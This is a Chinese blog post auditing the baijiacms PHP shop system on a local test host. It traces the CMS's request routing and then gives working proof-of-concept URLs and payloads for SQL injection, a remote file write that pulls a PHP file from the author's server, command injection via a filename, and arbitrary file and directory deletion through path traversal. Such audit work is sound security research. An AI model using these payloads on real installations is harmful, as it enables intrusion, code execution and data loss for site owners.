baijiacms-代码审计


baijiacms-代码审计

黑盒测试

这里使用burp联动xray的方式进行被动型的漏洞扫描,同时也能让我们了解该cms的相关功能,对可能存在的功能点结合代码进行深入分析。

.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output baijiacms.html

xray一开动就发现有所收获,order参数处存在时间注入与报错注入,cate参数处存在报错注入。

路由解析

我们在分析这个SQL注入之前,先对该cms的路由先要有基本的了解,通过路由跟踪到相应文件审计代码。

我们通过阅览商品的页面来对路由进行理解

http://baijia.test/index.php?mod=mobile&act=detail&do=shop&m=eshop&beid=1&id=1

该url存在6个参数,mod、act、do、m、beid、id

如果传入了mod参数,$mod = $_REQUEST[‘mod’] ,默认为’mobile’

if(!empty($_REQUEST['c']))
{
   $mod=(empty($_REQUEST['c'])||$_REQUEST['c']=='entry')?'mobile':$_REQUEST['c']; 
}else
{
   $mod=empty($_REQUEST['mod'])?'mobile':$_REQUEST['mod'];    
}

当$mod = ‘mobile’ ,则定义常量SYSTEM_ACT为mobile,否则为index。

do参数默认为shopindex

if(empty($_REQUEST['do']))
{
$_GET['do']="shopindex";
}

act参数如果传入就将值交给$_GET[‘act’],未传入$_GET[‘act’]值为shopwap.

    if(!empty($_REQUEST['act']))
{
$_GET['act']=$_REQUEST['act'];
}else
{
$_GET['act']="shopwap";    
}

继而包含includes/baijiacms.php文件

在文件中,对外部输入的数组值进行了实体化的操作,然后定义了$_GP、$_CMS数组,将$_GET, $_POST, $_GP数组合并给了$_GP

$_GP = $_CMS =  array();
    $_GP = array_merge($_GET, $_POST, $_GP);

如果$_GP[‘m’]为空,则$modulename = $_GP[‘act’] ,否则$modulename = $_GP[‘m’]

if(empty($_GP['m']))
{
$modulename = $_GP['act'];
}else
{
   $modulename = $_GP['m'];
}


if(empty($_GP['do'])||empty($modulename))
{
   exit("do or act is null");
}
$_CMS['module']=$modulename;
$_CMS['beid']=$_GP['beid'];

当加载完配置文件则最后会包含/includes/baijiacms/runner.inc.php. 该文件为路由解析文件

首先会做判断,这里判断为真,这里是对店铺的一个查询,并返回该店铺的相关信息,如这里的店铺号为1,店铺名为默认店铺

if(!empty($_CMS['beid'])&&SYSTEM_ACT=='mobile'&&($modulename=="shopwap"||$_CMS['isaddons']==true||$_GP['m']=='eshop'))
{
      $t_set_shop=globalSetting('shop');
      if(!empty($t_set_shop['close'])&&!empty($t_set_shop['closedetail']))
      {
         
         if(!empty($t_set_shop['closeurl']))
         {
                  message($t_set_shop['closedetail'],$t_set_shop['closeurl'],'error');
         }else
         {
               message($t_set_shop['closedetail']);   
         }
   
      }
}

因此,进入到该文件后$modulename为”eshop”,$classname为”eshopAddons”

$classname = $modulename."Addons";

包含/system/common/mobile.php,$file = /system/eshop/mobile.php

if(SYSTEM_ACT=='mobile')
{
   require(WEB_ROOT.'/system/common/mobile.php');
   $file = SYSTEM_ROOT . $modulename."/mobile.php";
}else
{
   require(WEB_ROOT.'/system/common/web.php');
      $file = SYSTEM_ROOT . $modulename."/web.php";
}

/system/common/mobile.php中会对用户状态进行判断

如果$_GP[‘m’]不为空,包含/system/common/common.php ,然后直接包含$file文件,如刚才的/system/eshop/mobile.php

if(!empty($_GP['m']))
{
   require(WEB_ROOT.'/system/common/common.php');
}
require $file;

实例化$classname() ,设置其属性。

$class = new $classname();
$class->module = $modulename;
$class->inMobile = SYSTEM_ACT=='mobile';

接下来,会对$_GP[‘m’]的值做判断,如果不为eshop则进入到函数体。

这里又会对$class进行判断,如果当中存在BJexModule类,则进入函数体,然后将doMobile与$_GPC[‘do’]拼接作为$class的方法执行,到此一个基本的路由解析到文件执行方法就基本完成。

if($class instanceof BJexModule) {

$class->uniacid = $class->weid = $_W['uniacid'];
$class->modulename = $_W['module'];
$class->__define = $file;
$class->inMobile = defined('IN_MOBILE');
   
   if(SYSTEM_ACT=='mobile')
{
   define('IN_MOBILE', true);
      $method = 'doMobile' . ucfirst($_GPC['do']);
if (method_exists($class, $method)) {

   exit($class->$method());
}
exit();

}

SQL注入

上面分析了一种情况的路由,我们根据路由解析则可以通过刚才的url定位到,这里我们分析cate参数的报错注入

通过路由,会解析到/system/eshop/core/mobile/goods/index.php

$args = array('pagesize' => 10, 'page' => intval($_GPC['page']), 'isnew' => trim($_GPC['isnew']), 'ishot' => trim($_GPC['ishot']), 'isrecommand' => trim($_GPC['isrecommand']), 'isdiscount' => trim($_GPC['isdiscount']), 'istime' => trim($_GPC['istime']), 'issendfree' => trim($_GPC['issendfree']), 'keywords' => trim($_GPC['keywords']), 'cate' => trim($_GPC['cate']), 'order' => trim($_GPC['order']), 'by' => trim($_GPC['by']));

接下来在goods_getList,没有对$args[‘cate’]做过滤就直接将其值拼接进了$condition

if (!empty($args['cate'])) {
   $condition .= ' AND ( pcate=' . $args['cate'] . ' or ccate=' . $args['cate'] . ' )';
}

然后将$condition拼接$sql

if (!$random) {
   $sql = 'SELECT id,title,thumb,marketprice,productprice,sales,total,description FROM ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ORDER BY ' . $order . ' ' . $orderby . ' LIMIT ' . (($page - 1) * $pagesize) . ',' . $pagesize;
   $total = pdo_fetchcolumn('select count(*) from ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ', $params);
}
else {
   $sql = 'SELECT id,title,thumb,marketprice,productprice,sales,total,description FROM ' . tablename('eshop_goods') . ' where 1 ' . $condition . ' ORDER BY rand() LIMIT ' . $pagesize;
   $total = $pagesize;
}

$list = pdo_fetchall($sql, $params);
$list = set_medias($list, 'thumb');
return array('list' => $list, 'total' => $total);
}

最后debug函数将执行的SQL语句和错误输出到页面上,造成报错注入

public function debug($errors,$sql="" ) {
   if (!empty($errors[1])&&!empty($errors[1])&&$errors[1]!='00000') {
   // print_r($errors);
   exit($sql." ".$errors[2]);
   }
   return $errors;
}

自动化工具

在代码审计中,我们可以使用自动化工具来帮助我们的工作,常见的代码审计自动化工具有Seay、Fortify等。

这里咱们直接使用seay进行分析,不过在之前我们需要了解一下代码结构

addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码

像下面这些都是在系统文件中的公有函数,在后端逻辑代码中都有地方会对其进行调用,因此也是需要重点关注的内容之一

接下来就是支撑相关功能的后端代码,在这里也会产生安全问题

接下来我们对以上疑似存在漏洞的代码进行分析

远程文件写入

在/includes/baijiacms/common.inc.php有一个公有函数fetch_net_file_upload,file_put_contents($file_tmp_name, file_get_contents($url)) == false,这里首先生成了取出了url的后缀,然后随机生成文件名,然后写入到上传目录下,因此如果url可控,就会造成远程文件写入漏洞。

function fetch_net_file_upload($url) {
   $url = trim($url);
   

   $extention = pathinfo($url,PATHINFO_EXTENSION );
   $path = '/attachment/';
   $extpath="{$extention}/" . date('Y/m/');

      mkdirs(WEB_ROOT . $path . $extpath);
      do {
         $filename = random(15) . ".{$extention}";
      } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
   
   
   
   $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
      $file_relative_path = $extpath. $filename;
   if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
      $result['message'] = '提取失败.';
      return $result;
   }
      $file_full_path = WEB_ROOT .$path . $extpath. $filename;
   return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

通过全局搜索、查找使用,在/system/public/class/web/file.php中找到一处调用

if ($do == 'fetch') {
   $url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
   if (is_error($file)) {
      $result['message'] = $file['message'];
      die(json_encode($result));
   }
   
}

首先我们在自己的vps中开启一个web服务,并放置一个php文件,通过路由构造出进入到该处的url,并要满足op=fetch,url填写远程文件的地址,然后传递过去,返回了地址则就是我们远程文件已经下载到目标上

http://baijia.test/index.php?mod=web&act=public&do=file&beid=1&op=fetch&url=http://103.14.35.76:8000/test.php

命令执行

/includes/baijiacms/common.inc.php第654行,system函数存在变量拼接,这是一个定义的file_save,凭借名字就能知道是保存文件相关的代码,主要拼接了$quality_command和$file_full_path,$file_full_path是传入的参数且函数内无过滤,如果外部可控即可能造成任意命令执行。

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
   
   $settings=globaSystemSetting();
   
      if(!file_move($file_tmp_name, $file_full_path)) {
         return error(-1, '保存上传文件失败');
      }
      if(!empty($settings['image_compress_openscale']))
      {
         
         $scal=$settings['image_compress_scale'];
         $quality_command='';
         if(intval($scal)>0)
         {
            $quality_command=' -quality '.intval($scal);
         }
            system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
      }
......
    
}

接下来我们就要去寻找该函数在哪调用过,这里可以使用Seay进行全局搜索

首先在公有文件中定义其他函数时也调用过这个函数,/system/weixin/class/web/setting.php中直接调用过该函数

我们可以先看一下其他共有函数,根据上面的分析可知,我们要保证第四个参数可控,但是下图可以发现,这里通过随机数对文件名重命名,所以我们不能完全控制该传入参数

那我们到/system/weixin/class/web/setting.php文件中看看传入该参数是否可控

if($extention=='txt')
{
          $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
          if(empty( $substr))
          {
           $substr="/";   
          }
        $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";

   //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
         file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
         
         if($verify_root!=WEB_ROOT."/")
         {
            copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
         }
         
    $cfg['weixin_hasverify']=$file['name'];
}else
{
message("不允许上传除txt结尾以外的文件");   
}

如果$extention为txt就会进入到file_save函数中,第四个参数为WEB_ROOT.”/“.$file[‘name’],也就是说只要能控制$file[‘name’]就能够控制这个参数。

http://baijia.test/index.php?mod=site&act=weixin&do=setting&beid=1

上传文件的文件名为&whoami&.txt,然后提交,不过并没有执行我们的命令。

因此我们在该处打上断点,通过调试来确定问题,发现在进入之前会存在一个判断!empty($settings['image_compress_openscale']),由于$settings[‘image_compress_openscale’] = “0”导致并未执行到system那段函数之中

通过追踪$settings变量,追踪到$_CMS['system_globa_setting']

发现这里由init.inc.php 文件中$_CMS['system_globa_setting']=globaPriveteSystemSetting(); 引入进来的,通过globaPriveteSystemSetting函数发现这里是对baijiacms_system_config数据表查询出来的值,因此我们只要能找到能更新该数据表的功能即可控制该值,发现函数refreshSystemSetting是对baijiacms_system_config数据表的更新操作,我们查看哪里发生了调用,在\system\manager\class\web\netattach.php中调用了该函数,直接访问该文件

http://baijia.test/index.php?mod=web&act=manager&do=netattach&beid=1

为一个附件设置的页面

不出所料的话,就是将图片压缩比例功能设置为开启状态,然后再重复上传&whoami&.txt操作,我这里换成了执行ipconfig命令

任意文件删除

共有函数中file_delete中传入的参数未经过滤直接拼接$file_relative_path

function file_delete($file_relative_path) {

   if(empty($file_relative_path)) {
      return true;
   }
   
   $settings=globaSystemSetting();
   if(!empty($settings['system_isnetattach']))
      {
       
            ........
      
}else
{
      if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
      unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
      return true;
   }
   
   }
   return true;
}

全局搜索,查看该函数调用,/system/eshop/core/mobile/util/uploader.php文件中存在调用,当$operation == 'remove',会将file参数拼接路径,然后进行删除操作。

先在根目录下新建一个1.txt

http://baijia.test/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../1.txt,使用poc之后发现1.txt被删除。

这里可以通过删除/config/install.link来造成重装漏洞

目录删除

该函数会递归目录下所有文件并且删除

function rmdirs($path='',$isdir=false)
{
       if(is_dir($path))
       {
               $file_list= scandir($path);
               foreach ($file_list as $file)
               {
                   if( $file!='.' && $file!='..')
                   {
                         if($file!='qrcode')
                         {
                       rmdirs($path.'/'.$file,true);
                     }
                   }
               }
               
          if($path!=WEB_ROOT.'/cache/')
          {
               @rmdir($path);   
                  
         }    
       }
       else
       {
           @unlink($path); 
       }
    
}

查看哪里对该函数进行了使用,/system/manager/class/web/database.php252行

if($operation=='delete')
 {
      $d = base64_decode($_GP['id']);

         $path = WEB_ROOT . '/config/data_backup/';
      if(is_dir($path . $d)) {
         rmdirs($path . $d);
         message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
      }
}

如果进行删除操作,会将传入的id base64解码后拼接到路径上然后进入到rmdirs函数。

在根目录下新建一个test目录,../../test base64编码的结果为Li4vLi4vdGVzdA==

/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1

poc输入之后发现根目录下的test目录已经被删除了


文章作者: moy1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 moy1 !
  目录